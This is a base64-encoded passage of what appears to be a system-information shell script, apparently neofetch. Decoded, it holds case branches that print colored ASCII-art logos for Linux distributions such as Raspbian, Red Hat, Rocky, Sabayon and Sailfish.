gIC06Ojo6Ojo6OjotLS4uYGAgICAgIC46OmAKIGA6Ojo6LSAgICAgLiR7YzJ9b3kke2MxfTo6Ojo6OjotLS0uYGBgLjogICAgYDo6YAogLTo6OjogIGAuLTo6Ojo6Ojo6Ojo6LS5gYGAgICAgICAgICBgOjoKLjo6OjouYC06Ojo6Ojo6Ojo6Ojo6LiAgICAgICAgICAgICAgIGA6LgotOjo6Oi46Ojo6Ojo6Ojo6Ojo6OjogICAgICAgICAgICAgICAgIC06Cjo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6YCAgICAgICAgICAgICAgICAgYDoKOjo6Ojo6Ojo6Ojo6Ojo6Ojo6Oi0gICAgICAgICAgICAgICAgICBgOgo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6ICAgICAgICAgICAgICAgICAgIC0tCi46Ojo6Ojo6Ojo6Ojo6Ojo6OmAgICAgICAgICAgICAgICAgICBgOmAKYDo6Ojo6Ojo6Ojo6Ojo6Ojo6ICAgICAgICAgICAgICAgICAgIC1gCiAuOjo6Ojo6Ojo6Ojo6Ojo6LSAgICAgICAgICAgICAgICAgIC1gCiAgYDo6Ojo6Ojo6Ojo6Ojo6LSAgICAgICAgICAgICAgICBgLmAKICAgIC46Ojo6Ojo6Ojo6OjotICAgICAgICAgICAgICAgYGAKICAgICAgYC4tLTo6Ojo6LS4KRU9GCiAgICAgICAgOzsKCiAgICAgICAgIlJhZGl4IiopCiAgICAgICAgICAgIHNldF9jb2xvcnMgMSAyCiAgICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwoke2MyfSAgICAgICAgICAgICAgICAuOm95aGRtTm8KICAgICAgICAgICAgIGAveWh5b29zZG1zYAogICAgICAgICAgICAtbysvb2htbWhvLQogICAgICAgICAgIC4uYC46LzotYAogICAgIGAuLS06OjotLmBgJHtjMX0KICAuK3lkTk1NTU1NTU5taHM6YApgb21NTU1NTU1NTU1NTU1NTU5oLQpvTk1NTU5tZGRoaHl5aGhoZGRteS4KbU1NTU1ObW1kZGhoeXNvbysvOi1gCnlNTU1NTU1NTU1NTU1NTU1NTk5oLgotZG1tbW1tTk5NTU1NTU1NTU1Nc2AKIC0rb29zc3lobU1NTU1NTU1NZC0KIGBzTk1NTU1NTU1NTU1NTU1tOgogIGB5TU1NTU1NTm1kaGhoaDoKICAgYHNOTU1NTU1ObW1oby4KICAgIGArbU1NTU1NTU15LgogICAgICAueU5NTU1tK2AKICAgICAgIGA6eWQrLgpFT0YKICAgICAgICA7OwoKICAgICAgICAiUmFzcGJpYW5fc21hbGwiKikKICAgICAgICAgICAgc2V0X2NvbG9ycyAyIDEKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzF9ICAgLi4gICAgLC4KICA6b286IC46b286CiAgJ29cXG8gby9vOgoke2MyfSA6OiAuIDo6IC4gOjoKOjogOjo6ICA6OjogOjoKOicgICcnLC4nJyAgJzoKIDo6OiA6Ojo6IDo6OgogJzosICAnJyAgLDonCiAgICcgfjo6fiAnCkVPRgogICAgICAgIDs7CgogICAgICAgICJSYXNwYmlhbiIqKQogICAgICAgICAgICBzZXRfY29sb3JzIDIgMQogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMX0gIGAuOjovLy8rOi8tLiAgICAgICAgLS0vLy8rLy8tOmBgCiBgK29vb29vb29vb29vbzogICBgK29vb29vb29vb29vbzoKICAvb29vbysrLy9vb29vbzogIG9vb29vKy8vK29vb29vLgogIGArb29vb29vbzotOm9vLSAgK28rOjovb29vb29vbzoKICAgYDpvb29vb29vbytgYCAgICBgLm9vb29vb29vKy0KICAgICBgOisrb29vLy4gICAgICAgIDorb29vKy8uYAogICAgICAgICR7YzJ9Li4uYCAgYC4tLS0tLmAgYGAuLgogICAgIC46Ojo6LWBgOjo6Ojo6Ojo6LmAtOjo6LWAKICAgIC06OjotYCAgIC46Ojo6Ojo6LWAgIGAtOjo6LQogICBgOjouICBgLi0tLmAgIGBgIGAuLS0tLmBgLjo6YAogICAgICAgLjo6Ojo6Ojo6YCAgLTo6Ojo6Ojo6YCBgCiAuOjpgIC46Ojo6Ojo6OjotIGA6Ojo6Ojo6Ojo6YGA6Oi4KLTo6OmAgOjo6Ojo6Ojo6Oi4gIDo6Ojo6Ojo6OjouYDo6Oi0KOjo6OiAgLTo6Ojo6Ojo6LiAgIGAtOjo6Ojo6OjogIDo6OjoKLTo6LSAgIC4tOjo6LS5gYC4uLi5gYC4tOjotLiAgIC06Oi0KIC4uIGBgICAgICAgIC46Ojo6Ojo6Oi4gICAgIGAuLmAuLgogICAtOjo6LWAgICAtOjo6Ojo6Ojo6OmAgIC46Ojo6OmAKICAgOjo6Ojo6OmAgLTo6Ojo6Ojo6OjpgIDo6Ojo6OjouCiAgIC46Ojo6Ojo6ICAtOjo6Ojo6OjouIDo6Ojo6Ojo6CiAgICBgLTo6Ojo6YCAgIC4uLS0uYCAgIDo6Ojo6Oi4KICAgICAgYC4uLmAgIGAuLi4tLS4uYCAgYC4uLmAKICAgICAgICAgICAgLjo6Ojo6Ojo6OjoKICAgICAgICAgICAgIGAuLTo6OjotYApFT0YKICAgICAgICA7OwoKICAgICAgICAiUmVib3JuIE9TIiogfCAiUmVib3JuIiopCiAgICAgICAgICAgIHNldF9jb2xvcnMgMiAyIDgKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzN9CiAgICAgICAgbU1NTU1NTU1NTSAgTU1NTU1NTU1NbQogICAgICAgTk0gICAgICAgICAgICAgICAgICAgIE1OCiAgICAgIE1NICAke2MxfWRkZGRkZGRkICBkZGRkZGRkZCAgJHtjM31NTgogICAgIG1NICAke2MxfWRkICAgICAgICAgICAgICAgIGRkICAke2MzfU1NCiAgICAgICAgJHtjMX1kZCAgaGhoaGhoICAgaGhoaGggIGRkCiAgICR7YzN9bU0gICAgICAke2MxfWhoICAgICAgICAgICAgaGggICAgICAke2MzfU1tCiAgTk0gICR7YzF9aGQgICAgICAgJHtjM31tTU1NTU1NZCAgICAgICAke2MxfWRoICAke2MzfU1OCiBOTSAgJHtjMX1kZCAgaGggICAke2MzfW1NTU1NTU1NTW0gICAke2MxfWhoICBkZCAgJHtjM31NTgpOTSAgJHtjMX1kZCAgaGggICAke2MzfW1NTU1NTU1NTU1NbSAgICR7YzF9aGggIGRkICAke2MzfU1OCiBOTSAgJHtjMX1kZCAgaGggICAke2MzfW1NTU1NTU1NTW0gICAke2MxfWhoICBkZCAgJHtjM31NTgogIE5NICAke2MxfWhkICAgICAgICR7YzN9bU1NTU1NTW0gICAgICAgJHtjMX1kaCAgJHtjM31NTgogICBtTSAgICAgICR7YzF9aGggICAgICAgICAgICBoaCAgICAgICR7YzN9TW0KICAgICAgICAke2MxfWRkICBoaGhoaGggIGhoaGhoaCAgZGQKICAgICAke2MzfU1NICAke2MxfWRkICAgICAgICAgICAgICAgIGRkICAke2MzfU1NCiAgICAgIE1NICAke2MxfWRkZGRkZGRkICBkZGRkZGRkZCAgJHtjM31NTgogICAgICAgTk0gICAgICAgICAgICAgICAgICAgIE1OCiAgICAgICAgbU1NTU1NTU1NTSAgTU1NTU1NTU1NbQpFT0YKICAgICAgICA7OwoKICAgICAgICAiUmVkIFN0YXIiKiB8ICJSZWRzdGFyIiopCiAgICAgICAgICAgIHNldF9jb2xvcnMgMSA3IDMKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzF9ICAgICAgICAgICAgICAgICAgICAuLgogICAgICAgICAgICAgICAgICAub0swbAogICAgICAgICAgICAgICAgIDowS0tLS2QuCiAgICAgICAgICAgICAgIC54S08wS0tLS2QKICAgICAgICAgICAgICAsT2QnIC5kMDAwMGwKICAgICAgICAgICAgIC5jOy4gICAuJycnLi4uICAgICAgICAgICAuLicuCi4sOmNsb2RkeHh4a2tra09PT09ra2tra2tra3h4eHh4eHh4eGtra3g6CjtrT09PT09PT2t4T2tjJy4uLicsOzs7OywsLCcnLDs7OmNsbGM6LC4KIC5va2tra2QsLmxrbyAgLi4uLi4uLicsOzpjbGxjOjssLCcnJycnLgogICAuY2RvLiA6eGQnIGNkOi4gIC4uJzsnJywsLCcnLCw7OzssJy4KICAgICAgLiAuZGRsLjtkb29vYycuLjtvYzsnLi4nOzo6OywnLgogICAgICAgIGNvbzsub29vb2xsbGxsbGxjY2NjOicuICAuCiAgICAgICAub29sJydsbGxsbGNjY2NjY2M6Ojo6OjsuCiAgICAgICA7bGxsLiAuJzpjY2NjOjo6Ojo6Ojs7OzsnCiAgICAgICA6bGNjOicnLC4uJzs6Ojo6Ozs7Ozs7OywsLgogICAgICAgOmNjY2M6Ojo6Oy4uLic7Ozs7OywsLCwsLC4KICAgICAgICw6Ojo6Ojo7OzssJy4gIC4uJywsLCwnJycuCiAgICAgICAgLi4uLi4uLi4gICAgICAgICAgLi4uLi4uCkVPRgogICAgICAgIDs7CgogICAgICAgICJSZWRjb3JlIiopCiAgICAgICAgICAgIHNldF9jb2xvcnMgMQogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMX0gICAgICAgICAgICAgICAgIFJSUlJSUlJSUgogICAgICAgICAgICAgICBSUlJSUlJSUlJSUlJSCiAgICAgICAgUlJSUlJSUlJSUiAgICAgIFJSUlJSCiAgIFJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUgogUlJSUlJSUiAgUlJSICAgICAgICAgUlJSIFJSUlJSUlJSClJSUlJSICAgIFJSICAgICAgICAgICAgICAgICBSUlJSUlJSUlIKUlJSUiAgICBSUiAgICAgUlJSUlJSUlIgICAgICBSUiBSUlJSUlIKUlJSUiAgIFIgICAgUlJSUlJSUlJSUlJSUlIgICBSUiAgIFJSUlJSClJSUlIgICBSICBSUlJSUlJSUlJSUlJSUlJSUlIgIFIgICBSUlJSUgpSUlJSICAgICBSUlJSUlJSUlJSUlJSUlJSUlJSICBSICAgUlJSUgogUlJSICAgICBSUlJSUlJSUlJSUlJSUlJSUlJSUiBSICAgUlJSUgogIFJSUiAgICBSUlJSUlJSUlJSUlJSUlJSUlJSUiAgICBSUlJSCiAgICBSUiAgIFJSUlJSUlJSUlJSUlJSUlJSUlIgICAgUlJSCiAgICAgUlIgICBSUlJSUlJSUlJSUlJSUlJSUiAgICBSUlIKICAgICAgIFJSICAgUlJSUlJSUlJSUlJSUlIgICBSUgogICAgICAgICBSICAgICAgIFJSUlIgICAgICBSUgpFT0YKICAgICAgICA7OwoKICAgICAgICAicmVkaGF0X29sZCIgfCAicmhlbF9vbGQiKikKICAgICAgICAgICAgc2V0X2NvbG9ycyAxIDcgMwogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMX0gICAgICAgICAgICAgYC4tLi4uLi4uLi4uLmAKICAgICAgICAgICAgYC8vLy8vLy8vOjouYC0vLgogICAgICAgICAgICAtOiAuLi4uLS8vLy8vLy8vLgogICAgICAgICAgICAvLzotOjovLy8vLy8vLy8vL2AKICAgICBgLS06OjogYC06Ly8vLy8vLy8vLy8vLy86CiAgICAgLy8vLy8vLSAgICBgYC4tOi8vLy8vLy8vLyAuYAogICAgIGA6Ly8vLy8vOi0uYCAgICA6Ly8vLy8vLzo6Ly8vOmAKICAgICAgIC4tLy8vLy8vLy8vOi0tLS8vLy8vLy8vLy8vLy86CiAgICAgICAgICAuLTovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLgoke2MyfSAgICAgICAgIHlNTitgLi0ke2MxfTo6Ly8vLy8vLy8vLy8vLy8vLWAKJHtjMn0gICAgICAuLWA6Tk1NTk1zYCAgYC4uLS0tLS0tLS4uYAogICAgICAgTU4rL21NTU1NTWhvb295eXNzaHNzcwpNTU0gICAgTU1NTU1NTU1NTU1NTU15eWRkTU1NKwogTU1NTSAgIE1NTU1NTU1NTU1NTU1OZHlOTU1oYCAgICAgaHloTU1NCiAgTU1NTU1NTU1NTU1NTU1NTXlvTk5OTU1NKy4gICBNTU1NTU1NTQogICBNTU5NTU1OTk1NTU1NTk0rIG1oc01OeXl5eU1OTU1NTXNNTQpFT0YKICAgICAgICA7OwoKICAgICAgICAiUmVkaGF0IiogfCAiUmVkIEhhdCIqIHwgInJoZWwiKikKICAgICAgICAgICAgc2V0X2NvbG9ycyAxCiAgICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwoke2MxfSAgICAgICAgICAgLk1NTS4uOk1NTU1NTU0KICAgICAgICAgIE1NTU1NTU1NTU1NTU1NTU1NTQogICAgICAgICAgTU1NTU1NTU1NTU1NTU1NTU1NTU0uCiAgICAgICAgIE1NTU1NTU1NTU1NTU1NTU1NTU1NTU0KICAgICAgICAsTU1NTU1NTU1NTU1NTU1NTU1NTU1NTToKICAgICAgICBNTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU0KICAuTU1NTScgIE1NTU1NTU1NTU1NTU1NTU1NTU1NTU0KIE1NTU1NTSAgICBgTU1NTU1NTU1NTU1NTU1NTU1NTU0uCk1NTU1NTU1NICAgICAgTU1NTU1NTU1NTU1NTU1NTU1NIC4KTU1NTU1NTU1NLiAgICAgICBgTU1NTU1NTU1NTU1NTScgTU0uCk1NTU1NTU1NTU1NLiAgICAgICAgICAgICAgICAgICAgIE1NTU0KYE1NTU1NTU1NTU1NTU0uICAgICAgICAgICAgICAgICAsTU1NTU0uCiBgTU1NTU1NTU1NTU1NTU1NTU0uICAgICAgICAgICxNTU1NTU1NTS4KICAgIE1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTQogICAgICBNTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU06CiAgICAgICAgIE1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTQogICAgICAgICAgICBgTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NOgogICAgICAgICAgICAgICAgYGBNTU1NTU1NTU1NTU1NTU1NTScKRU9GCiAgICAgICAgOzsKCiAgICAgICAgIlJlZnJhY3RlZCBEZXZ1YW4iKiB8ICJSZWZyYWN0ZWRfRGV2dWFuIiopCiAgICAgICAgICAgIHNldF9jb2xvcnMgOCA3CiAgICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwoke2MyfSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQQogICAgICAgICAgICAgICAgICAgICAgICAgICAgVlcKICAgICAgICAgICAgICAgICAgICAgICAgICAgVlZXXFwKICAgICAgICAgICAgICAgICAgICAgICAgIC55V1dXXFwKICw7LCx1LDt5eTs7djt1eXl5eXl5eSAgLFdXV1dXXgogICAgKldXV1dXV1dXV1dXV1dXV1cvICAkVldXV1d3ICAgICAgLAogICAgICAgIF4qJVdXV1dXV1ZXV1ggICRXV1dXKiogICAgLHl5CiAgICAgICAgLCAgICAiKipXV1cvJyAqKicgICAseXkvV1dXKmAKICAgICAgICZXV1dXd3kgICAgYCpgICA8LHl3V1clVldXVyoKICAgICB5V1dXV1dXV1dXVyogICAgLiwgICAiKipXVyVXCiAgICwmV1dXV1dNKiJgICAseS8gICZXV1d3dyAgIF4qCiAgWFdXWCpeICAgLHlXV1dXMDkgLldXV1dXV1dXd3ksCiAqYCAgICAgICAgJldXV1dXTSAgV1dXV1dXV1dXV1dXV3d3LAogICAgICAgICAgIChXV1dXV2AgLyMjIyMjV1dXKioqKioqKioqKioKICAgICAgICAgICBeV1dXVwogICAgICAgICAgICBWV1cKICAgICAgICAgICAgV2guCiAgICAgICAgICAgIFYvCkVPRgogICAgICAgIDs7CgogICAgICAgICJSZWdhdGEiKikKICAgICAgICAgICAgc2V0X2NvbG9ycyA3IDEgNCA1IDMgMgogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMX0gICAgICAgICAgICBkZGhzbysrKysrb3N5ZGQKICAgICAgICBkaG8vLmBoaCR7YzJ9LjovKy86LiR7YzF9aGhoYDoreWQKICAgICAgZG8taGhoaGhoJHtjMn0vc3Nzc3NzcytgJHtjMX1oaGhoaC4veWQKICAgIGgvYGhoaGhoaGgke2MyfS1zc3Nzc3Nzc3M6JHtjMX1oaGhoaGhoaC15ZAogIGRvYGhoaGhoaGhoaCR7YzJ9YG9zc3Nzc3Nzby4ke2MxfWhoaGhoaGhoaGgvZAogZC9oaGhoaGhoaGhoaGgke2MyfWAvb3Nzc28vLiR7YzF9aGhoaGhoaGhoaGhoLmgKIC9oaGhoaGhoaGhoaGgke2MzfWAtL29zeXNvLy1gJHtjMX1oaGhoaGhoaGhoaGguaApzaGgke2M0fS0vb29vKy0ke2MxfWhoaCR7YzN9OnN5eXNvK29zeXlzL2Ake2MxfWhoaCR7YzV9YCtvb2Ake2MxfWhoaC8KaCR7YzR9YG9oaGhoaGhob2Ake2MzfSt5eW8uJHtjMX1oaGhoaCR7YzN9Lit5eW9gJHtjNX0uc3Nzc3Nzcy4ke2MxfWhgaApzJHtjNH06aGhoaGhoaGhobyR7YzN9eXlzYCR7YzF9aGhoaGhoaCR7YzN9Lm95eS8ke2M1fW9zc3Nzc3Nzby0ke2MxfWhzCnMke2M0fS55aGhoaGhoaHkvJHtjM315eXNgJHtjMX1oaGhoaGhoJHtjM30ub3l5LyR7YzV9b3Nzc3Nzc3NvLSR7YzF9aHMKaGgke2M0fS4vc3l5eXMrLiR7YzF9ICR7YzN9K3l5Ky4ke2MxfWhoaGhoJHtjM30uK3l5b2Ake2M1fS5vc3Nzc3NvLyR7YzF9aGBoCnNoaGgke2M0fWBgLmAke2MxfWhoaCR7YzN9YC9zeXlzbysrb3l5cy9gJHtjMX1oaGgke2M1fWArKystYCR7YzF9aGg6aApkL2hoaGhoaGhoaGhoaCR7YzN9YC0vb3N5c28rLWAke2MxfWhoaGhoaGhoaGhoaC5oCiBkL2hoaGhoaGhoaGhoaCR7YzZ9YC9vc3Nzby8uJHtjMX1oaGhoaGhoaGhoaGguaAogIGRvYGhoaGhoaGhoaCR7YzZ9YG9zc3Nzc3Nzby4ke2MxfWhoaGhoaGhoaGg6aAogICAgaC9gaGhoaGhoaCR7YzZ9LXNzc3Nzc3Nzczoke2MxfWhoaGhoaGhoLXlkCiAgICAgIGgrLmhoaGhoaCR7YzZ9K3Nzc3Nzc3MrJHtjMX1oaGhoaGhgL3lkCiAgICAgICAgZGhvOi5oaGgke2M2fS46KysrLy4ke2MxfWhoaGAtK3lkCiAgICAgICAgICAgIGRkaHNvKysrKytvc3loZApFT0YKICAgICAgICA7OwoKICAgICAgICAiUmVnb2xpdGgiKikKICAgICAgICAgICAgc2V0X2NvbG9ycyAxCiAgICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwoke2MxfQogICAgICAgICAgICAgICAgIGBgLi4uLmBgYAogICAgICAgICAgICBgLjovKysrKysrLzo6LS5gCiAgICAgICAgICAtLysrKysrKys6LmAKICAgICAgICAtKysrKysrKys6YAogICAgICBgLysrKysrKysrLQogICAgIGAvKysrKysrKysuICAgICAgICAgICAgICAgICAgICAtLysvCiAgICAgLysrKysrKysrLyAgICAgICAgICAgICBgYCAgIC46KysrOi4KICAgIC0rKysrKysrKysvICAgICAgICAgIC4vKysrKzorKysvLWAKICAgIDorKysrKysrKysvICAgICAgICAgYCsrKysrKysvLWAKICAgIDorKysrKysrKysrYCAgICAgIC4tLysrKysrKytgCiAgIGA6KysrKysrKysrKy9gYC4tLysrKys6LTo6Oi1gICAgICAgYAogYDorKysrKysrKysrKysrKysrKy86LmAgICAgICAgICAgICAuL2AKOisrLy06KysrKysrKysrLzotLi4gICAgICAgICAgICAgIC0vKy4KKysrKysrKysrLzo6LS4uLjovKysrLy0uLmBgYGAuLi0vKysrLgpgLi4uLi4uYGAuOjovKysrKysrKysrKysrKysrKysrKysrLy4KICAgICAgICAgLS8rKysrKysrKysrKysrKysrKysrKysvLgogICAgICAgICAgIC46LysrKysrKysrKysrKysrKy8tYAogICAgICAgICAgICAgIGAuLTo6Ly8vLy8vOi0uCkVPRgogICAgICAgIDs7CgogICAgICAgICJyb2NreV9zbWFsbCIqKQogICAgICAgICAgICBzZXRfY29sb3JzIDIKICAgICAgICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwoke2MxfSAgICBgLS8rKysrKysrKysvLS5gCiBgLSsrKysrKysrKysrKysrKysrLWAKLisrKysrKysrKysrKysrKysrKysrKy4KLSsrKysrKysrKysrKysrKysrKysrKysrLgorKysrKysrKysrKysrKysvLS8rKysrKysrCisrKysrKysrKysrKysvLiAgIC4vKysrKysKKysrKysrKysrKys6LiAgICAgICAuLysrKworKysrKysrKys6YCAgIGA6LzpgICAgLjovCi0rKysrKys6YCAgIC46KysrKys6YAogLisrKy1gICAgLi8rKysrKysrKys6YAogIGAtYCAgIC4vKysrKysrKysrKystCiAgICAgICAtKysrKysrKysrOi0uYApFT0YKICAgICAgICA7OwoKICAgICAgICAicm9ja3kiKikKICAgICAgICAgICAgc2V0X2NvbG9ycyAzNQogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMX0gICAgICAgICAgX193Z2xpbGlpbGlnd18sCiAgICAgICBfd2lsbGlpaWlpaWxpaWxpbGlsdywKICAgICBfJWlpaWlpaWxpbGlsaWlpaWlpaWlpaWlfCiAgIC5RbGlpaWlsaWxpaWlpaWlpbGlsaWxpbGlpbG0uCiAgX2lpaWlpbGlpaWlpaWxpbGlpaWlpaWlpaWlsaWlsLAogLmxpbGlsaWlpbGlsaWxpaWlpbGlsaWxpbGlsaWlpaWksCl9saWlpaWlpbGlpaWlpaWlsaWlpaWlGe2lpaWlpaWxpbGksCmpsaWlsaWxpaWlsaWxpbGlpaWxpQGAgIH5pbGlsaWlpaWlMCmlpaWxpaWlpbGlpaWlpaWlsaT5gICAgICAgfmxpaWxpbGlpCmxpbGlpaWxpaWlsaWxpbGlpYCAgICAgICAgIC05bGlpaWlsCmlpaWlpbGlpbGlpaWlpaX4gICAgICAgICAgICAgIjRsaWxpCjRpbGlsaWlpaWlsaWx+fCAgICAgIC13LCAgICAgICApNGxmCi1saWlpaWlsaWxpRicgICAgICAgX2xpaWcsICAgICAgICknCiApaWlpbGlpaUBgICAgICAgIF9RSWlsaWxpZywKICApaWlpaT5gICAgICAgIC5RbGlsaWlpaWxpbHcKICAgKTw+fiAgICAgICAubWxpaWlpaWxpaWlpaWlsLAogICAgICAgICAgICBfZ2xsaWxpbGlsaWlsaWxpaX4KICAgICAgICAgICBnaWxpaWlpaWlpaWlpaWlUYAogICAgICAgICAgLV5+JGlsaWxpbGlAfn4nCkVPRgogICAgICAgIDs7CgogICAgICAgICJSb3NhIiopCiAgICAgICAgICAgIHNldF9jb2xvcnMgNCA3IDEKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzF9ICAgICAgICAgICBST1NBUk9TQVJPU0FST1NBUgogICAgICAgIFJPU0EgICAgICAgICAgICAgICBBUk9TCiAgICAgIFJPUyAgIFNBUk9TQVJPU0FST1NBUiAgIEFST1MKICAgIFJPICAgUk9TQVJPU0FST1NBUk9TQVJPU0FSICAgUk8KICBBUk8gIEFST1NBUk9TQVJPU0FSTyAgICAgIEFST1MgIFJPUwogQVJPICBST1NBUk9TICAgICAgICAgT1NBUiAgIFJPU0EgIFJPUwogUk8gIEFST1NBICAgUk9TQVJPU0FST1NBICAgIFJPU0FSICBSTwpSTyAgUk9TQVIgIFJPU0FST1NBUk9TQVIgIFIgIFJPU0FSTyAgUk8KUk8gIFJPU0EgIEFST1NBUk9TQVJPU0EgIEFSICBST1NBUk8gIEFSClJPIEFST1MgIFJPU0FST1NBUk9TQSAgIFJPUyAgQVJPU0FSTyBBUgpSTyBBUk9TICBST1NBUk9TQVJPICAgUk9TQVJPICBST1NBUk8gQVIKUk8gIFJPUyAgQVJPU0FST1MgICBST1NBUk9TQSBBUk9TQVIgIEFSClJPICBST1NBICBST1MgICAgIFJPU0FST1NBUiAgUk9TQVJPICBSTwogUk8gIFJPUyAgICAgQVJPU0FST1NBUk9TQSAgUk9TQVJPICBBUgogQVJPICBST1NBICAgUk9TQVJPU0FST1MgICBBUk9TQVIgIEFSTwogIEFSTyAgT1JPU0EgICAgICBSICAgICAgUk9TQVJPUyAgUk9TCiAgICBSTyAgIEFST1NBUk9TICAgQVJPU0FST1NBUiAgIFJPCiAgICAgQVJPUyAgIEFST1NBUk9TQVJPU0FSTyAgIEFST1MKICAgICAgICBST1NBICAgICAgICAgICAgICAgU0FSTwogICAgICAgICAgIFJPU0FST1NBUk9TQVJPU0FSCkVPRgogICAgICAgIDs7CgogICAgICAgICJzYWJvdGFnZSIqKQogICAgICAgICAgICBzZXRfY29sb3JzIDQgNyAxCiAgICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwoke2MyfSAufCcnJy58ICAgICAgfCAgICAgJ3x8Jyd8LiAgICAuLnwnJ3x8CiB8fC4uICAnICAgICB8fHwgICAgIHx8ICAgfHwgIC58JyAgICB8fAogICcnfHx8LiAgICB8ICB8fCAgICB8fCcnJ3wuICB8fCAgICAgIHx8Ci4gICAgICd8fCAgLicnJyd8LiAgIHx8ICAgIHx8ICd8LiAgICAgfHwKfCcuLi4ufCcgIC58LiAgLnx8LiAufHwuLi58JyAgICcnfC4uLnwnCgp8Jyd8fCcnfCAgICAgfCAgICAgIC4ufCcnJy58ICAnfHwnJycnfAogICB8fCAgICAgICB8fHwgICAgLnwnICAgICAnICAgfHwgIC4KICAgfHwgICAgICB8ICB8fCAgIHx8ICAgIC4uLi4gIHx8Jyd8CiAgIHx8ICAgICAuJycnJ3wuICAnfC4gICAgfHwgICB8fAogIC58fC4gICAufC4gIC58fC4gICcnfC4uLid8ICAufHwuLi4uLnwKRU9GCiAgICAgICAgOzsKCiAgICAgICAgIlNhYmF5b24iKikKICAgICAgICAgICAgc2V0X2NvbG9ycyA0IDcgMQogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMX0gICAgICAgICAgICAuLi4uLi4uLi4uLgogICAgICAgICAuLiAgICAgICAgICAgICAuLgogICAgICAuLiAgICAgICAgICAgICAgICAgICAuLgogICAgLi4gICAgICAgICAgICR7YzJ9byAgICAgICAgICAgJHtjMX0uLgogIC4uICAgICAgICAgICAgJHtjMn06VycgICAgICAgICAgICAke2MxfS4uCiAuLiAgICAgICAgICAgICAke2MyfS5kLiAgICAgICAgICAgICAke2MxfS4uCjouICAgICAgICAgICAgICR7YzJ9LktOTyAgICAgICAgICAgICAgJHtjMX0uOgo6LiAgICAgICAgICAgICAke2MyfWNOTk4uICAgICAgICAgICAgICR7YzF9LjoKOiAgICAgICAgICAgICAgJHtjMn1kWFhYLCAgICAgICAgICAgICAgJHtjMX06CjogICAke2MyfS4gICAgICAgICAgZFhYWCwgICAgICAgLmNkLCAgICR7YzF9Ogo6ICAgJHtjMn0na2MgLi4gICAgIGRLS0suICAgICxsbDs6JyAgICAke2MxfToKOiAgICAgJHtjMn0ueGtreGM7Li5ka2trYycsY3hra2wgICAgICAgJHtjMX06CjouICAgICAke2MyfS4sY2RkZGRkZGRkZGRkZGRvOi4gICAgICAgJHtjMX0uOgogLi4gICAgICAgICAke2MyfTpsbGxsbGxsOiAgICAgICAgICAgJHtjMX0uLgogICAuLiAgICAgICAgICR7YzJ9JywsLCwsICAgICAgICAgICR7YzF9Li4KICAgICAuLiAgICAgICAgICAgICAgICAgICAgIC4uCiAgICAgICAgLi4gICAgICAgICAgICAgICAuLgogICAgICAgICAgLi4uLi4uLi4uLi4uLi4uCkVPRgogICAgICAgIDs7CgogICAgICAgICJTYWlsZmlzaCIqKQogICAgICAgICAgICBzZXRfY29sb3JzIDQgNSA3IDYKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzF9ICAgICAgICAgICAgICAgICBfYUBiCiAgICAgICAgICAgICAgXyNiIChiCiAgICAgICAgICAgIF9AQCAgIEBfICAgICAgICAgXywKICAgICAgICAgIF8jXkAgXyMqXl4qZ2csYWFAXl4KICAgICAgICAgICMtIEBAXiAgX2FAXl4KICAgICAgICAgIEBfICAqZyNiCiAgICAgICAgICBeQF8gICBeQF8KICAgICAgICAgICAgXkBfICAgQAogICAgICAgICAgICAgQChiIChiCiAgICAgICAgICAgICNiKGIjXgogICAgICAgICAgX0BfI0BeCiAgICAgICBfYUBhKl4KICAgLGFAKl4KRU9GCiAgICAgICAgOzsKCiAgICAgICAgIlNhbGVudE9TIiopCiAgICAgICAgICAgIHNldF9jb2xvcnMgMiAxIDMgNwogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMX0gICAgICAgICAgICAgICAgIGBgLi5gYAogICAgICAgIC4tOitvc2hkTk1NTU1NTU5kaHlvKzotLmAKICAtb3lkbU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTmRocy8KJHtjNH0gK2hkZGRtJHtjMX1OTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTiR7YzR9bWRkZGgrYAoke2MyfWBNTU1NTU4ke2M0fW1kZGRkZG0ke2MxfU1NTU1NTU1NTU1NTSR7YzR9bWRkZGRkbSR7YzN9Tk1NTU1NLQoke2MyfSBtTU1NTU1NTU1